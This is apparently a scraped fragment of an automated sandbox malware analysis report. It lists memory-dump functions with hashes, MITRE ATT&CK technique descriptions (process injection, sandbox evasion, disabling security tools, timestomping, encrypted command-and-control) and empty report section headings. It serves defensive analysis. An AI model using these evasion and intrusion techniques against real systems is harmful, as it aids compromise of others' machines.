Instruction Fuzzy Hash: F131957191CB4C8FDB18DB5C984A6A97BE0FBA9321F00421FE449D3651DA74A8558BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D917D9C, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e06dbc7b9c29acea6137af74cc58c58862ce6fa49cca3bb51b3ea55625fe87f4
Instruction ID: 000cded0b23c0212033d24edd011bf3f678e12edb6c988199671d0c18634d9a8
Opcode Fuzzy Hash: e06dbc7b9c29acea6137af74cc58c58862ce6fa49cca3bb51b3ea55625fe87f4
Instruction Fuzzy Hash: C321D53190CB4C8FDB59DBA8984A6E97BE0EB96331F04426FD049C7152D674981ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9D40CF, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358957469.00007FFA1D9D0000.00000040.00000001.sdmp, Offset: 00007FFA1D9D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2014537722ce6b14bc006051632977a212fe744e9b3a21c56ee10dfc472ddf9d
Instruction ID: 0ae68dd8ed4356721009cfac27925786ef308e27eeabc2634aba3913cf38782a
Opcode Fuzzy Hash: 2014537722ce6b14bc006051632977a212fe744e9b3a21c56ee10dfc472ddf9d
Instruction Fuzzy Hash: E621282AD0DE464FE7A4DB1C84512B46BD1EF76334B5A80B9C12EC39D2ED18EC054A45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9D43BC, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358957469.00007FFA1D9D0000.00000040.00000001.sdmp, Offset: 00007FFA1D9D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd44ec377b1853339e0465e675707ee4e89727ca5120017c889a6cd60fad8d6
Instruction ID: 086bb1e31e6ce1836435516bb7d7409d3f34d6c6869efffb6f52a15095840323
Opcode Fuzzy Hash: 4fd44ec377b1853339e0465e675707ee4e89727ca5120017c889a6cd60fad8d6
Instruction Fuzzy Hash: 9611E93AD0DE494FE2A4D75C54616F8BFD1EF46334B4A40FAD05EC7993E914AC444B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9185D8, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db982ee337cebce3cbc4196a6c0527015de770837ac783643923a503568f3fdf
Instruction ID: d26fb936c4f9233a8f4fe1022c010ef907baee224f34959b9845a9a1694d2fc6
Opcode Fuzzy Hash: db982ee337cebce3cbc4196a6c0527015de770837ac783643923a503568f3fdf
Instruction Fuzzy Hash: EA01713131CA088FD78CEB1CD452AB573E1EB99320B50406ED44BC7696DE27E847C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D911775, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323329555bbe38d97816e0491843d58c06b3ab02358ebc656595907e008b882a
Instruction ID: 78504f64bd02d0c30ca21c748049f66660bc62e4ee039ec306e2de34ce34c29d
Opcode Fuzzy Hash: 323329555bbe38d97816e0491843d58c06b3ab02358ebc656595907e008b882a
Instruction Fuzzy Hash: E101677111CB0C4FD744EF0CE451AA6B7E0FB99364F10066EE59AC3651DA36E882CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9179F8, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70a8db9a072d5aa32d9a2eb6b4c4b3b4f068696bd3cf50082304b45079be68d
Instruction ID: d435ae92726a1650bf2fd75030ee452529c8879bf10a02c501e54065bc48cd4b
Opcode Fuzzy Hash: f70a8db9a072d5aa32d9a2eb6b4c4b3b4f068696bd3cf50082304b45079be68d
Instruction Fuzzy Hash: 37F0E93081868E8FDB06DF3488459EA7BA0FF26311B0143A7E45DC71A1DB34A958CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D919E58, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239508507d2939b06d77c6ca271c4d53ae044bdeec2c6cd18d70616edb8a0aac
Instruction ID: 6fa9d5e90f08cde84f71c9ffd918765546eb053ccfed1242d573b6be16759c89
Opcode Fuzzy Hash: 239508507d2939b06d77c6ca271c4d53ae044bdeec2c6cd18d70616edb8a0aac
Instruction Fuzzy Hash: 8AF0373275CA044FDB4CAA1CF4429B573D1E79A334B00417EE48FC2696E917E8468685

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D915BAD, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42212c5155331389d1d76e32a2e2fc8570f16af86c675018ba65b36883b2538a
Instruction ID: 377fe160321819938069961032ea53249af8194c3841bfb0953eca518be098de
Opcode Fuzzy Hash: 42212c5155331389d1d76e32a2e2fc8570f16af86c675018ba65b36883b2538a
Instruction Fuzzy Hash: 81E0722020CB860FD240832CA010BF9B6C1AFC7320F44887DF0EE83383DA4865818382

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFA1D9181AB, Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

`_^, xrefs: 00007FFA1D918279

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID: `_^
API String ID: 0-107360090
Opcode ID: 57b18f29b94919f6ad2e3164cc3e546c6c600c870fdc1e84d0b10044a190635c
Instruction ID: 833bb0e9bd698de2e6ccda0a1cad2cebe909259054e626ec2812ac3713d3599e
Opcode Fuzzy Hash: 57b18f29b94919f6ad2e3164cc3e546c6c600c870fdc1e84d0b10044a190635c
Instruction Fuzzy Hash: 3531F15FB042915AD701B72EB8418ED7FA0EF83332314003BD2CC864A3FA98948E85B8

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 2

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre